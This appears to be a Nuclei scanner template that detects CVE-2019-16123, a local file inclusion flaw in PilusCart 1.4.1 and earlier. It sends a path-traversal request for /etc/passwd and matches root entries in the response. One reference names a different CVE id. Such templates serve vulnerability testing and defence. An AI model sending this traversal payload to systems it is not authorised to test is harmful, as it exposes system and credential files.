id: CVE-2019-16123

info:
  name: PilusCart <=1.4.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    PilusCart versions 1.4.1 and prior suffer from a file disclosure vulnerability via local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Upgrade to a patched version of PilusCart (>=1.4.2) or apply the vendor-supplied patch to mitigate the LFI vulnerability.
  reference:
    - https://packetstormsecurity.com/files/154250/PilusCart-1.4.1-Local-File-Disclosure.html
    - https://www.exploit-db.com/exploits/47315
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1653
    - https://zerodays.lol/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-16123
    cwe-id: CWE-22
    epss-score: 0.16484
    epss-percentile: 0.96583
    cpe: cpe:2.3:a:kartatopia:piluscart:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kartatopia
    product: piluscart
  tags: cve,cve2019,piluscart,lfi,packetstorm,edb,kartatopia,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402207f8cc1cb77c783a80c2b47b83917f00d20b6789e8c0a1fc3c2f2b8d433239e4902207d921c4fc7a95beb24c91107baab38db4243fb45eac09bd0e5054bfaedd665ef:922c64590222798bb761d5b6d8e72950